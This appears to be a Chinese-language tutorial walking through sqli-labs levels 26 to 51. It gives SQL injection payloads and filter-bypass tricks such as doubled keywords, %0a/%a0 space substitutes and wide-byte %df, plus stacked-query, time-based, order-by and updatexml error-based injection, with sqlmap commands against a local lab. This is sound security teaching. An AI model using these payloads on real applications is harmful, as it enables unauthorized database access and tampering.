sqli-lab全解析(Less26-Less51)(下)
字数 1459 2025-08-26 22:11:51
SQL注入进阶:sqli-lab全解析(Less26-Less51)
目录
- Less26-空格过滤绕过
- Less27-双写绕过
- Less28-组合过滤绕过
- Less29-报错注入
- Less32-36-宽字节注入
- Less37-登录框宽字节注入
- Less38-39-堆叠注入
- Less40-41-盲注
- Less42-45-登录框注入
- Less46-49-Order By注入
- Less50-51-报错注入
Less26-空格过滤绕过
过滤内容:空格、--+、#注释符
绕过方法:
- 使用%0a、%0b、%0c、%0d、%09等空白字符代替空格(但都被过滤)
- 使用
or '1'='1闭合语句 - 双写or绕过:
or→OorR - 使用%a0绕过(Mac环境下有效)
- 时间盲注示例:
?id=-1'XOorR(if(1=1,sleep(5),0))OorR'
sqlmap使用:
python sqlmap.py -u "http://127.0.0.1/sqli/Less-26/?id=1" --dbms mysql --batch -v 0
Less27-双写绕过
过滤内容:union、select、--+、#
绕过方法:
- 双写关键字:
union→ununionion,select→selselectect - 使用%0a代替空格
- 使用
or '1'='1闭合语句
Less28-组合过滤绕过
过滤内容:union select组合、空格
绕过方法:
- 双写组合:
union union select select - 使用%0a代替空格
Less29-报错注入
特点:
- 正常注入时,
select group_concat(table_name) from information_schema.tables where table_schema='security'会报错
解决方法:
python sqlmap.py -u "http://127.0.0.1/sqli/Less-29/?id=1" --dbms mysql --batch -v 0
Less32-36-宽字节注入
原理:使用addslashes函数转义单引号,通过宽字节(%df)绕过
方法:
- 在'前加上%df:
%df' - 使用--+闭合
- 联合查询获取数据
Less34:POST请求宽字节注入,需BP抓包手工测试
Less35:数字型注入,无需构造,直接联合查询
Less37-登录框宽字节注入
特点:登录框形式的宽字节注入
Less38-39-堆叠注入
特点:可执行多条SQL语句
示例:
?id=1'; insert into users(id,username,password) values('666','newuser','newpass')--+
Less39:数字型,无需闭合
Less40-41-盲注
特点:
- 错误时不报出具体信息
- 需要猜测闭合方式
Less42-45-登录框注入
注入点:
- 密码字段无过滤
- 不同闭合方式:
- Less42:无闭合
- Less43:`)闭合
- Less44:无报错回显的盲注
- Less45:`)闭合的盲注
Less46-49-Order By注入
特点:
- 通过sort参数注入
- 不同闭合方式:
- Less46:数字型
?sort=1 and updatexml(1,user(),1) - Less47:单引号闭合
- Less48:数字型盲注(基于时间/布尔)
?sort=rand(ascii(left(database(),1))=178) - Less49:单引号闭合的时间盲注
- Less46:数字型
sqlmap问题:
python sqlmap.py -u "127.0.0.1/sqli/Less-48/?sort=1" --level 5 --risk 3 --dbs --batch
可能无法正确识别数据库名
Less50-51-报错注入
方法:
- Less50:数字型,使用updatexml报错
- Less51:单引号闭合,使用updatexml报错
总结技巧
- 空格绕过:%a0、%0a、%0b、%0c、%0d、%09
- 关键字过滤:双写、大小写混合
- 注释符过滤:使用
or '1'='1闭合 - 宽字节注入:%df'
- 堆叠注入:多条语句执行
- 盲注:基于时间/布尔,逐步猜测
- Order By注入:通过排序参数注入
- 报错注入:updatexml等函数触发错误
注意:不同环境可能有差异,如%a0在Mac有效但其他环境可能无效。